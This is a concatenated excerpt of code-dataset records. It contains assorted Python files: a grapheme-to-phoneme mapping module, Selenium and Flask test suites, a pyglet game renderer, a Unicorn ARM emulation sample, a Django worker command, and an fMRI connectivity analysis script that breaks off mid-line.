add_abbreviations(self, abbs, mappings):\n        ''' Return abbreviated forms, given a list of abbreviations.\n\n        {'in': 'a', 'out': 'b', 'context_before': 'V', 'context_after': '' }\n        {'abbreviation': 'V', 'stands_for': ['a','b','c']}\n        ->\n        {'in': 'a', 'out': 'b', 'context_before': 'a|b|c', 'context_after': ''}\n        '''\n        for abb in abbs:\n            for io in mappings:\n                for key in io.keys():\n                    if io[key] == abb['abbreviation']:\n                        io[key] = abb['stands_for']\n        return mappings\n\n    def find_mapping(self, in_lang: str, out_lang: str) -> list:\n        ''' Given an input and output, find a mapping to get between them.\n        '''\n        for mapping in MAPPINGS_AVAILABLE:\n            map_in_lang = mapping.get('in_lang', '')\n            map_out_lang = mapping.get('out_lang', '')\n            if map_in_lang == in_lang and map_out_lang == out_lang:\n                return deepcopy(mapping)\n        raise exceptions.MappingMissing(in_lang, out_lang)\n\n    def find_mapping_by_id(self, map_id: str):\n        ''' Find the mapping with a given ID\n        '''\n        for mapping in MAPPINGS_AVAILABLE:\n            if mapping.get('id', '') == map_id:\n                return deepcopy(mapping)\n\n    def mapping_to_file(self, output_path: str, file_type: str):\n        ''' Write mapping to file\n        '''\n        if not os.path.isdir(output_path):\n            raise Exception(\"Path %s is not a directory\", output_path)\n        fn = os.path.join(output_path, self.kwargs.get('in_lang', 'und') + \"_to_\" +\n                          self.kwargs.get('out_lang', 'und') + \".\" + file_type)\n        fieldnames = ['in', 'out', 'context_before', 'context_after']\n        filtered = [{k: v for k, v in io.items() if k in fieldnames}\n                    for io in self.mapping]\n        if file_type == 'json':\n            with open(fn, 'w', encoding='utf8') as f:\n                json.dump(filtered, f, indent=4)\n        elif file_type == 'csv':\n            with open(fn, 'w', encoding='utf8') as f:\n                writer = csv.DictWriter(f, fieldnames=fieldnames)\n                for io in filtered:\n                    writer.writerow(io)\n        else:\n            raise exceptions.IncorrectFileType\n\n    def config_to_file(self, output_path: str, mapping_type: str):\n        ''' Write config to file\n        '''\n        if not os.path.isdir(output_path):\n            raise Exception(\"Path %s is not a directory\", output_path)\n        fn = os.path.join(output_path, 'config.yaml')\n        template = {\"mappings\": [\n            {\n                \"language_name\": self.kwargs.get('language_name', self.kwargs.get('in_lang', 'und')),\n                \"display_name\": self.kwargs.get('display_name', self.kwargs.get('in_lang', 'und') + \" to \" + self.kwargs.get('out_lang', 'und')),\n                \"in_lang\": self.kwargs.get('in_lang', 'und'),\n                \"out_lang\": self.kwargs.get('out_lang', 'und'),\n                \"authors\": self.kwargs.get('authors', ['generated']),\n                \"as_is\": self.kwargs.get('as_is', False),\n                \"case_sensitive\": self.kwargs.get('case_sensitive', True),\n                \"escape_special\": self.kwargs.get('escape_special', False),\n                \"norm_form\": self.kwargs.get('norm_form', \"NFC\"),\n                \"reverse\": self.kwargs.get('reverse', False),\n                \"mapping\": self.kwargs.get('in_lang', 'und') + \"_to_\" +\n                self.kwargs.get('out_lang', 'und') + \".\" + mapping_type\n            }\n        ]}\n        with open(fn, 'w', encoding='utf8') as f:\n            yaml.dump(template, f, Dumper=IndentDumper,\n                      default_flow_style=False)\n\n    def to_file(self, output_path: str, mapping_type: str = 'csv'):\n        self.mapping_to_file(output_path, mapping_type)\n        self.config_to_file(output_path, mapping_type)\n\n\nif __name__ == '__main__':\n    pass\n","sub_path":"g2p/mappings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"467146808","text":"from platform import platform\n\nimport pytest\n\nfrom wrapped_driver import WrappedDriver\n\n\nif \"macOS\" in platform():\n    CHROME_DRIVER_PATH = \"/opt/homebrew/bin/chromedriver\"\n    GECKODRIVER_PATH = \"/opt/homebrew/bin/geckodriver\"\nelse:\n    CHROME_DRIVER_PATH = \"/usr/bin/chromedriver\"\n    GECKODRIVER_PATH = \"/usr/bin/geckodriver\"\n\n\n@pytest.fixture(autouse=True, name=\"driver\")\ndef wrapped_driver(request) -> WrappedDriver:\n    browser_name = \"firefox\" if \"FireFox\" in str(request.cls) else \"chrome\"\n    executable_path = (\n        GECKODRIVER_PATH if \"firefox\" == browser_name else CHROME_DRIVER_PATH\n    )\n    with WrappedDriver(\n        executable_path=executable_path,\n        browser=browser_name,\n        headless=True,\n    ) as driver:\n        yield driver\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"567320791","text":"#!/usr/bin/env python\nfrom game import Villager, Zombie\nimport pyglet\nfrom pyglet.graphics import GL_LINES, GL_TRIANGLE_STRIP\n\n\nclass ZombieGraphics:\n    def __init__(self, game):\n        self.game = game\n        self.state = None\n        self.window = pyglet.window.Window(1024, 1024, resizable=True)\n\n        self.images = {\n            Zombie: pyglet.image.load('zombie.png'),\n            Villager: pyglet.image.load('villager.png')\n        }\n\n    def run(self):\n        pyglet.clock.schedule_interval(self.update_state, 1 / 60)\n        pyglet.app.run()\n\n    def update_state(self, _):\n        self.state = self.game.step(self.state)\n        self.window.clear()\n        width, height = self.window.get_size()\n        pyglet.graphics.draw(4, GL_TRIANGLE_STRIP, ('v2f', (0, 0, 0, height - 1, width - 1, 0, width - 1, height - 1)))\n        self.draw_grid()\n        for y, row in enumerate(self.state.world):\n            for x, ent in enumerate(row):\n                if ent is not None:\n                    self.draw_image(self.images[type(ent)], y, x)\n\n    def draw_grid(self):\n        width, height = self.window.get_size()\n        dim = min(width, height)\n        grid_size = int(dim / self.game.size)\n        fixed_dim = min(grid_size * self.game.size, dim - 1)\n\n        points = []\n        for i in range(self.game.size):\n            x = grid_size * i\n            points.extend((x, 0, x, fixed_dim))\n\n            y = grid_size * i\n            points.extend((0, y, fixed_dim, y))\n\n        points.extend((fixed_dim, 0, fixed_dim, fixed_dim))\n        points.extend((0, fixed_dim, fixed_dim, fixed_dim))\n\n        pyglet.graphics.draw(\n            len(points) // 2,\n            GL_LINES,\n            ('v2f', tuple(points)),\n            ('c3B', ((len(points) // 2) * (0, 0, 0))))\n\n    def draw_image(self, image, row, col):\n        row = self.game.size - row - 1\n        dim = min(self.window.get_size())\n        grid_size = int(dim / self.game.size)\n        x_start = grid_size * col\n        y_start = grid_size * row + 1\n        size = grid_size * (row + 1) - y_start\n        if size > 0:\n            sprite = pyglet.sprite.Sprite(image, x_start, y_start)\n            sprite.scale = size / sprite.width\n            sprite.draw()\n","sub_path":"graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"585082110","text":"\"\"\"User View tests.\"\"\"\n\n# run these tests like:\n#\n#    FLASK_ENV=production python -m unittest test_message_views.py\n\n\n\nimport os\nfrom unittest import TestCase\n\nfrom models import db, connect_db, Message, User, Likes, Follows\nfrom bs4 import BeautifulSoup\n\n# BEFORE we import our app, let's set an environmental variable\n# to use a different database for tests (we need to do this\n# before we import our app, since that will have already\n# connected to the database\n\nos.environ['DATABASE_URL'] = \"postgresql:///warbler-test2\"\n\n\n# Now we can import app\nfrom app import app, CURR_USER_KEY\n\n# Create our tables (we do this here, so we only create the tables\n# once for all tests --- in each test, we'll delete the data\n# and create fresh new clean test data\n\ndb.create_all()\n\n# Don't have WTForms use CSRF at all, since it's a pain to test\n\napp.config['WTF_CSRF_ENABLED'] = False\n\n\nclass MessageViewTestCase(TestCase):\n    \"\"\"Test views for users.\"\"\"\n\n    def setUp(self):\n        \"\"\"Create test client, add sample data.\"\"\"\n\n        db.drop_all()\n        db.create_all()\n\n        self.testuser = User.signup(username=\"test\",\n                                    email=\"test@gmail.com\",\n                                    password=\"testuser\",\n                                    image_url=None)\n        self.testuser_id = 300\n        self.testuser.id = self.testuser_id\n\n        self.user1 = User.signup(\"abc\", \"test1@test.com\", \"password\", None)\n        self.user1_id = 100\n        self.user1.id = self.user1_id\n\n        self.user2 = User.signup(\"efg\", \"test2@test.com\", \"password\", None)\n        self.user2_id = 200\n        self.user2.id = self.user2_id\n        \n\n        db.session.commit()\n\n        self.client = app.test_client()\n\n    def tearDown(self):\n        td = super().tearDown()\n        db.session.rollback()\n        return td\n\n    def test_users_index(self):\n        with self.client as c:\n            resp = c.get(\"/users\")\n\n            self.assertIn(\"@test\", str(resp.data))\n            self.assertIn(\"@abc\", str(resp.data))\n            self.assertIn(\"@efg\", str(resp.data))\n\n    def test_users_search(self):\n        with self.client as c:\n            resp = c.get(\"/users?q=test\")\n\n            self.assertIn(\"@test\", str(resp.data))    \n\n            self.assertNotIn(\"@abc\", str(resp.data))\n\n    def test_user_show(self):\n        with self.client as c:\n            resp = c.get(f\"/users/{self.testuser_id}\")\n\n            self.assertEqual(resp.status_code, 200)\n\n            self.assertIn(\"@test\", str(resp.data))\n\n    def setup_likes(self):\n        msg1 = Message(id=4, text=\"i warble\", user_id=self.testuser_id)\n        msg2 = Message(id=5, text=\"you warble\", user_id=self.user1_id)\n        db.session.add_all([msg1, msg2])\n        db.session.commit()\n\n        like = Likes(user_id=self.testuser_id, message_id=5)\n\n        db.session.add(like)\n        db.session.commit()\n\n    def test_user_show_with_likes(self):\n        self.setup_likes()\n\n        with self.client as c:\n            resp = c.get(f\"/users/{self.testuser_id}\")\n\n            self.assertEqual(resp.status_code, 200)\n\n            self.assertIn(\"@test\", str(resp.data))\n            soup = BeautifulSoup(str(resp.data), 'html.parser')\n            found = soup.find_all(\"li\", {\"class\": \"stat\"})\n            self.assertEqual(len(found), 4)\n\n            # test for a count of 1 message\n            self.assertIn(\"1\", found[0].text)\n\n            # Test for a count of 0 followers\n            self.assertIn(\"0\", found[1].text)\n\n            # Test for a count of 0 following\n            self.assertIn(\"0\", found[2].text)\n\n            # Test for a count of 1 like\n            self.assertIn(\"1\", found[3].text)\n\n    def test_add_like(self):\n        msg = Message(id=10, text=\"he warbles\", user_id=self.user1_id)\n        db.session.add(msg)\n        db.session.commit()\n\n        with self.client as c:\n            with c.session_transaction() as sess:\n                sess[CURR_USER_KEY] = self.testuser_id\n\n            resp = c.post(\"/messages/add_like/10\", follow_redirects=True)\n            self.assertEqual(resp.status_code, 200)\n\n            likes = Likes.query.filter(Likes.message_id==10).all()\n            self.assertEqual(len(likes), 1)\n            self.assertEqual(likes[0].user_id, self.testuser_id)\n\n    def test_remove_like(self):\n        self.setup_likes()\n\n        msg = Message.query.filter(Message.text==\"you warble\").one()\n        self.assertIsNotNone(msg)\n        self.assertNotEqual(msg.user_id, self.testuser_id)\n\n        like = Likes.query.filter(\n            Likes.user_id==self.testuser_id and Likes.message_id==msg.id\n        ).one()\n\n        # Now we are sure that testuser likes the message \"likable warble\"\n        self.assertIsNotNone(like)\n\n        with self.client as c:\n            with c.session_transaction() as sess:\n                sess[CURR_USER_KEY] = self.testuser_id\n\n            resp = c.post(f\"/messages/add_like/{msg.id}\", follow_redirects=True)\n            self.assertEqual(resp.status_code, 200)\n\n            likes = Likes.query.filter(Likes.message_id==msg.id).all()\n            # the like has been deleted\n            self.assertEqual(len(likes), 0)\n\n    def test_unauthenticated_like(self):\n        self.setup_likes()\n\n        msg = Message.query.filter(Message.text==\"i warble\").one()\n        self.assertIsNotNone(msg)\n\n        like_count = Likes.query.count()\n\n        with self.client as c:\n            resp = c.post(f\"/messages/add_like/{msg.id}\", follow_redirects=True)\n            self.assertEqual(resp.status_code, 200)\n\n            self.assertIn(\"Access unauthorized\", str(resp.data))\n\n            # The number of likes has not changed since making the request\n            self.assertEqual(like_count, Likes.query.count())\n\n    def setup_followers(self):\n        f1 = Follows(user_being_followed_id=self.user1_id, user_following_id=self.testuser_id)\n        f2 = Follows(user_being_followed_id=self.user2_id, user_following_id=self.testuser_id)\n        f3 = Follows(user_being_followed_id=self.testuser_id, user_following_id=self.user1_id)\n\n        db.session.add_all([f1,f2,f3])\n        db.session.commit()\n\n    def test_user_show_with_follows(self):\n\n        self.setup_followers()\n\n        with self.client as c:\n            resp = c.get(f\"/users/{self.testuser_id}\")\n\n            self.assertEqual(resp.status_code, 200)\n\n            self.assertIn(\"@test\", str(resp.data))\n            soup = BeautifulSoup(str(resp.data), 'html.parser')\n            found = soup.find_all(\"li\", {\"class\": \"stat\"})\n            self.assertEqual(len(found), 4)\n\n            # test for a count of 0 messages\n            self.assertIn(\"0\", found[0].text)\n\n            # Test for a count of 2 following\n            self.assertIn(\"2\", found[1].text)\n\n            # Test for a count of 1 follower\n            self.assertIn(\"1\", found[2].text)\n\n            # Test for a count of 0 likes\n            self.assertIn(\"0\", found[3].text)\n\n    def test_show_following(self):\n\n        self.setup_followers()\n        with self.client as c:\n            with c.session_transaction() as sess:\n                sess[CURR_USER_KEY] = self.testuser_id\n\n            resp = c.get(f\"/users/{self.testuser_id}/following\")\n            self.assertEqual(resp.status_code, 200)\n            self.assertIn(\"@abc\", str(resp.data))\n            self.assertIn(\"@efg\", str(resp.data))\n\n\n    def test_show_followers(self):\n\n        self.setup_followers()\n        with self.client as c:\n            with c.session_transaction() as sess:\n                sess[CURR_USER_KEY] = self.testuser_id\n\n            resp = c.get(f\"/users/{self.testuser_id}/followers\")\n\n            self.assertIn(\"@abc\", str(resp.data))\n            self.assertNotIn(\"@efg\", str(resp.data))\n\n    def test_unauthorized_following_page_access(self):\n        self.setup_followers()\n        with self.client as c:\n\n            resp = c.get(f\"/users/{self.testuser_id}/following\", follow_redirects=True)\n            self.assertEqual(resp.status_code, 200)\n            self.assertNotIn(\"@abc\", str(resp.data))\n            self.assertIn(\"Access unauthorized\", str(resp.data))\n\n    def test_unauthorized_followers_page_access(self):\n        self.setup_followers()\n        with self.client as c:\n\n            resp = c.get(f\"/users/{self.testuser_id}/followers\", follow_redirects=True)\n            self.assertEqual(resp.status_code, 200)\n            self.assertNotIn(\"@abc\", str(resp.data))\n            self.assertIn(\"Access unauthorized\", str(resp.data))","sub_path":"test_user_views.py","file_name":"test_user_views.py","file_ext":"py","file_size_in_byte":8481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"200822692","text":"\"\"\"\nMade by blackk100\nFor June Long Challenge 2017, A Good Set\n\"\"\"\n\"\"\"\n# Original Logic:\nfor T in range(int(input())):\n\tn = int(input())\n\tans, N = [], 1\n\twhile len(ans) < n:\n\t\tif len(ans) < 2:\n\t\t\tans.append(N)\n\t\telse:\n\t\t\tflag, i = False, 0\n\t\t\twhile i < len(ans):\n\t\t\t\tj = 0\n\t\t\t\twhile j < len(ans):\n\t\t\t\t\tif i != j:\n\t\t\t\t\t\tif (ans[i] + ans[j]) == N:\n\t\t\t\t\t\t\tflag, i, j = False, i + len(ans), j + len(ans)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tflag = True\n\t\t\t\t\tj += 1\n\t\t\t\ti += 1\n\t\t\tif flag is True:\n\t\t\t\tans.append(N)\n\t\tN += 1\n\tprint(\" \".join([str(ans[x]) for x in range(len(ans))]), )\n# Coincidentally, the answer list has numbers which are equal to the previous number plus 3 (if you exclude 2\n# from the answer list.\n# So new, and more simplified logic:\n\"\"\"\n \nfor T in range(int(input())):\n\tn = int(input())\n\tans, N = [], 1\n\twhile len(ans) < n:\n\t\tans.append(N)\n\t\tN += 3\n\tprint(\" \".join([str(ans[x]) for x in range(len(ans))]), )\n","sub_path":"Long Challenge/2017 June/GOODSET.py","file_name":"GOODSET.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"506269648","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#-------------------------------------------------------------------------------\n\nBLACK       = '\\033[0;30m'\nRED         = '\\033[0;31m'\nGREEN       = '\\033[0;32m'\nYELLOW      = '\\033[0;33m'\nBLUE        = '\\033[0;34m'\nPURPLE      = '\\033[0;35m'\nCYAN        = '\\033[0;36m'\nGREY        = '\\033[0;37m'\n\nBOLD_GREY   = '\\033[1;30m'\nBOLD_RED    = '\\033[1;31m'\nBOLD_GREEN  = '\\033[1;32m'\nBOLD_YELLOW = '\\033[1;33m'\nBOLD_BLUE   = '\\033[1;34m'\nBOLD_PURPLE = '\\033[1;35m'\nBOLD_CYAN   = '\\033[1;36m'\nBOLD_WHITE  = '\\033[1;37m'\nBOLD_BLACK  = '\\033[1;38m'\n\nHIGHT_BOLD_RED    = '\\033[1;41m'\nHIGHT_BOLD_GREEN  = '\\033[1;42m'\nHIGHT_BOLD_YELLOW = '\\033[1;43m'\nHIGHT_BOLD_BLUE   = '\\033[1;44m'\nHIGHT_BOLD_PURPLE = '\\033[1;45m'\nHIGHT_BOLD_CYAN   = '\\033[1;46m'\nHIGHT_BOLD_GREY   = '\\033[1;47m'\nHIGHT_BOLD_WHITE  = '\\033[1;48m'\n\n\nRESET = \"\\033[0m\"\n\nplayers_color = [BOLD_GREEN, BOLD_BLUE, BOLD_RED, BOLD_YELLOW,\n                 BOLD_PURPLE, BOLD_CYAN, BOLD_GREY]\n\nTRIANGLE = u\"\\u25B2\".encode(\"utf-8\")\nMOON     = u\"\\u263E\".encode(\"utf-8\")\nSLASH    = u\"\\u005C\".encode(\"utf-8\")\nCIRCLE   = u\"\\u25CF\".encode(\"utf-8\")\nPLUS     = u\"\\u002B\".encode(\"utf-8\")\nSQUARE   = u\"\\u25A0\".encode(\"utf-8\")\nHEXAGON  = u\"\\u2B22\".encode(\"utf-8\")\nDIAMOND  = u\"\\u2666\".encode(\"utf-8\")\nSTAR     = u\"\\u2736\".encode(\"utf-8\")\nSYMBOLS  = {\"triangle\" : TRIANGLE,\n            \"moon\"     : MOON,\n            \"slash\"    : SLASH,\n            \"circle\"   : CIRCLE,\n            \"plus\"     : PLUS,\n            \"square\"   : SQUARE,\n            \"hexagon\"  : HEXAGON,\n            \"diamond\"  : DIAMOND,\n            \"star\"     : STAR}","sub_path":"src/module/COLORS.py","file_name":"COLORS.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"21589382","text":"#!/usr/bin/python\n\nimport sys\nimport codecs\nimport json\n\ndef extract_words_json(infile):\n    words = []\n    parsed_json = []\n    with open(infile) as inf:\n        for line in inf:\n            parsed_line = json.loads(line)\n            parsed_json.append(parsed_line)\n            for elem in parsed_line:\n                words.append(elem[0])\n        return parsed_json, words\n\ndef load_words(infile):\n    words = []\n    with codecs.open(infile, encoding='utf-8') as inf:\n        for line in inf:\n            words.append(line.strip())\n    return words\n\ndef compose_new_json(full_info, words):\n    count = 0\n    for elem in full_info:\n        for info in elem:\n            info[0] = words[count]\n            count += 1\n    print(json.dumps(full_info, ensure_ascii=False).encode('utf8'))\n\nif __name__ == '__main__':\n    parsed_json, words = extract_words_json(sys.argv[1])\n    new_words = load_words(sys.argv[2])\n    compose_new_json(parsed_json, new_words)\n","sub_path":"debiaswe/process_json.py","file_name":"process_json.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"42980939","text":"\"\"\" authentication.management.commands.run_workers\n\n    This Python module implements the \"run_workers\" management command for the\n    \"workers\" app.  It is intended to be called regularly by (eg) a cron job.\n    When this command is called, we run all the workers who's time is due.\n\"\"\"\nimport logging\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom ... import scheduler, runner\n\n#############################################################################\n\nlogger = logging.getLogger(__name__)\n\n#############################################################################\n\nclass Command(BaseCommand):\n    \"\"\" Our \"run_workers\" management command.\n    \"\"\"\n    args = None\n    help = \"Run all the workers who's time is due.\"\n\n    def handle(self, *args, **kwargs):\n        \"\"\" Run our management command.\n        \"\"\"\n        if len(args) != 0:\n            self.stderr.write(\"Unexpected arguments: \" + repr(args))\n            return\n\n        for worker in scheduler.get_due_workers():\n            if scheduler.is_worker_running(worker['id']):\n                logger.warning(\"Worker \" + worker['class'] +\n                               \" with parameters \" + worker['params'] +\n                               \" is due to run now, but hasn't\" +\n                               \" finished the previous run!\")\n                continue\n\n            if worker['params'] != None:\n                logger.info(\"Running worker \" + worker['class'] +\n                            \" with parameters \" + worker['params'])\n            else:\n                logger.info(\"Running worker \" + worker['class'] +\n                            \" with no parameters\")\n\n            runner.run_worker(worker['id'])\n            scheduler.reschedule_worker(worker['id'])\n\n","sub_path":"statsAPI/workers/management/commands/run_workers.py","file_name":"run_workers.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"14799659","text":"# -*- coding: utf-8 -*-\n\nfrom unicorn import *\nfrom unicorn.arm_const import *\n\nARM_CODE   = b\"\\x37\\x00\\xa0\\xe3\\x03\\x10\\x42\\xe0\" \n# mov r0, #0x37; \n# sub r1, r2, r3\n\n# callback for tracing instructions\n# Add debugging.\ndef hook_code(mu, address, size, user_data):\n    instruction = mu.mem_read(address, size)\n    instruction_str = ''.join('{:02x} '.format(x) for x in instruction)\n    print('# Tracing instruction at 0x%x, instruction size = 0x%x, instruction = %s' % (address, size, instruction_str))\n\n# Test ARM\ndef test_arm():\n    print(\"Emulate ARM code\")\n    \n    mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)\n\n    ADDRESS = 0x10000\n    mu.mem_map(ADDRESS, 2 * 0x10000)\n\n    mu.mem_write(ADDRESS, ARM_CODE)\n    \n    mu.reg_write(UC_ARM_REG_R0, 0x1234)\n    mu.reg_write(UC_ARM_REG_R2, 0x6789)\n    mu.reg_write(UC_ARM_REG_R3, 0x3333)\n\n    mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS+8)\n\n    # emulate machine code in infinite time\n    mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))\n\n    r0 = mu.reg_read(UC_ARM_REG_R0)\n    r1 = mu.reg_read(UC_ARM_REG_R1)\n    r2 = mu.reg_read(UC_ARM_REG_R2)\n    r3 = mu.reg_read(UC_ARM_REG_R3)\n    sp = mu.reg_read(UC_ARM_REG_SP)\n    print(\">>> R0 = 0x%x\" % r0)\n    print(\">>> R1 = 0x%x\" % r1)\n    print(\">>> R2 = 0x%x\" % r2)\n    print(\">>> R3 = 0x%x\" % r3)\n    print(\">>> sp = 0x%x\" % sp)\n\ntest_arm()\n\n\n","sub_path":"samples/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"108517497","text":"import os\nimport argparse\nimport glob\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pandas.core import base\nimport seaborn as sns\nimport pingouin as pg\nfrom nilearn.image import load_img\nfrom nltools.data import Brain_Data, Design_Matrix, Adjacency\nfrom nltools.mask import expand_mask, roi_to_brain\nfrom nltools.stats import zscore, fdr, one_sample_permutation\nfrom nltools.file_reader import onsets_to_dm\nfrom nltools.plotting import component_viewer\nfrom scipy.stats import binom, ttest_1samp\nfrom sklearn.metrics import pairwise_distances\nfrom copy import deepcopy\nimport networkx as nx\nfrom nilearn.plotting import plot_stat_map, view_img_on_surf\nfrom bids import BIDSLayout, BIDSValidator\nimport nibabel as nib\n\ndef extractData(base_dir, sub_id):\n    '''\n    (str, str) -> list\n    This function is used to extract data from a specifc baseline acq (acq_id) of subject (sub_id) and concatenate them together. \n    '''\n    # set directory & file names\n    data_dir = os.path.join(base_dir, 'bids_data','rs_postfmriprep', f'sub-{sub_id}')\n    acq1_filename = f'sub-{sub_id}_ses-wave1_task-rest_acq-1_bold_space-MNI152NLin2009cAsym_preproc.nii.gz'\n    acq2_filename = f'sub-{sub_id}_ses-wave1_task-rest_acq-2_bold_space-MNI152NLin2009cAsym_preproc.nii.gz'\n    # extract data from each acq\n    acq1_data = Brain_Data(load_img(os.path.join(data_dir, acq1_filename)))\n    acq2_data = Brain_Data(load_img(os.path.join(data_dir, acq2_filename)))\n    # concatenate both acq\n    data_concate = acq1_data.append(acq2_data)\n\n    return [data_concate, acq1_data, acq2_data]\n\ndef load_covariates(base_dir, sub_id):\n    '''\n    (str, str) -> list\n    This function load the covariates tsv files of the given acq(acq_id). \n    '''\n    cov_dir = os.path.join(base_dir, 'bids_data', 'rs_derivatives','fmriprep', f'sub-{sub_id}', 'ses-wave1', 'func')\n    cov_fileName_1 = f'sub-{sub_id}_ses-wave1_task-rest_acq-1_bold_confounds.tsv'\n    cov_fileName_2 = f'sub-{sub_id}_ses-wave1_task-rest_acq-2_bold_confounds.tsv'\n\n    covariates_1 = pd.read_csv(os.path.join(cov_dir, cov_fileName_1), sep = '\\t')\n    covariates_2 = pd.read_csv(os.path.join(cov_dir, cov_fileName_2), sep = '\\t')\n\n    cov_concate = pd.concat([covariates_1, covariates_2]).reset_index()\n\n    return [cov_concate, covariates_1, covariates_2]\n\ndef make_motion_covariates(covariates, tr):\n    '''\n    (DataFrame) -> DataFrame\n\n    This function extract and process motion regressors. This function will be called by make_design_matrix\n    '''\n    mc = covariates[['X','Y','Z','RotX', 'RotY', 'RotZ']]\n    z_mc = zscore(mc)\n    all_mc = pd.concat([z_mc, z_mc**2, z_mc.diff(), z_mc.diff()**2], axis=1)\n    all_mc.fillna(value=0, inplace=True)\n    return Design_Matrix(all_mc, sampling_freq=1/tr)\n\ndef make_design_matrix(data, covariates, tr):\n    '''\n    (Brain_Data, Data_Frame, float) -> \n    This function will make a design matrix with the seed regressor and nusiance regressor including, motion, CSF, whitematter & spikes\n    '''\n\n    other_cov = covariates[['CSF', 'WhiteMatter']].apply(zscore)\n    mc = make_motion_covariates(covariates, tr)\n    spikes = data.find_spikes(global_spike_cutoff=3, diff_spike_cutoff=3)\n    dm = Design_Matrix(pd.concat([other_cov, mc, spikes.drop(labels='TR', axis=1)], axis=1), sampling_freq=1/tr)\n    dm = dm.add_poly(order=2, include_lower=True)\n\n    return dm\n\ndef make_design_matrix_noWM(data, covariates, tr):\n    '''\n    (Brain_Data, Data_Frame, float) -> \n    This function will make a design matrix with the seed regressor and nusiance regressor including, motion, CSF, whitematter & spikes\n    '''\n\n    other_cov = covariates[['CSF']].apply(zscore)\n    mc = make_motion_covariates(covariates, tr)\n    spikes = data.find_spikes(global_spike_cutoff=3, diff_spike_cutoff=3)\n    dm = Design_Matrix(pd.concat([other_cov, mc, spikes.drop(labels='TR', axis=1)], axis=1), sampling_freq=1/tr)\n    dm = dm.add_poly(order=2, include_lower=True)\n\n    return dm\n\n# set subject ID from the imput \nparser = argparse.ArgumentParser(description='subject level rs connectivity analysis')\nparser.add_argument(\n    '--sub-id',\n    required=True,\n    action='store',\n    help='subject id')\nargs = parser.parse_args()\n\n# set dataset parameter\nbase_dir = '/projects/sanlab/shared/DEV/'\nsub_id = args.sub_id\ntr = 0.78\n\n# load the parcellation mask\nmask_dir = os.path.join(base_dir, 'DEV_scripts', 'rsfMRI', 'baseline_analysis')\nmask = Brain_Data(os.path.join(mask_dir, 'BN_Atlas_246_2mm.nii.gz'))\nmask_x = expand_mask(mask)\n\ndata_list = extractData(base_dir, sub_id)\ncovariates_list = load_covariates(base_dir, sub_id)\n# loop through both acquisition\nfor acq in range(1,3):\n    # load the present acq data\n    data = data_list[acq]\n    # load the present covariates\n    covariates = covariates_list[acq]\n    # make a design matrix\n    dm = make_design_matrix(data, covariates, tr)\n    data.X = dm\n    # denoise the data\n    stats = data.regress()\n    data_denoised = stats['residual']\n    # extract time series of each roi\n    rois_data = data_denoised.extract_roi(mask=mask)\n    # compute pair-wise partial correlation\n    rois_df = pd.DataFrame(rois_data.T)\n    roi_pcorr = rois_df.pcorr().to_numpy()\n    # write the partial correlation to file\n    fileName = sub_id + '_' + str(acq) + '_' + 'pcorr.csv'\n    output_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'baseline_acq',fileName)\n    pcorr_df = pd.DataFrame(roi_pcorr)\n    pcorr_df.to_csv(output_dir, index=False, header=False)\n    # compute pair-wise correlation\n    roi_corr = 1 - pairwise_distances(rois_data, metric='correlation')\n    # write the correlation to file\n    fileName = sub_id + '_' + str(acq) + '_' + 'corr.csv'\n    output_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'baseline_acq', fileName)\n    corr_df = pd.DataFrame(roi_corr)\n    corr_df.to_csv(output_dir, index=False, header=False)\n\n# make the design matrix for concatenated data\ndata_concate = data_list[0]\ncov_concate = covariates_list[0]\ndm = make_design_matrix(data_concate, cov_concate, tr)\ndata_concate.X = dm\n\n# denoise the data\nstats = data_concate.regress()\ndata_denoised = stats['residual']\n\n# extract time series of each roi\nrois_data = data_denoised.extract_roi(mask=mask)\n\n# compute pair-wise partial correlation\nrois_df = pd.DataFrame(rois_data.T)\nroi_pcorr = rois_df.pcorr().to_numpy()\n\n# write the partial correlation to file\nfileName = sub_id + '_' + 'concat' + '_' + 'pcorr.csv'\noutput_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'concatenate', fileName)\npcorr_df = pd.DataFrame(roi_pcorr)\npcorr_df.to_csv(output_dir, index=False, header=False)\n\n# compute correlation\nroi_corr = 1 - pairwise_distances(rois_data, metric='correlation')\n\n# write the correlation to file\nfileName = sub_id + '_' + 'concat' + '_' + 'corr.csv'\noutput_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'concatenate', fileName)\ncorr_df = pd.DataFrame(roi_corr)\ncorr_df.to_csv(output_dir, index=False, header=False)\n\n# make a design matrix without 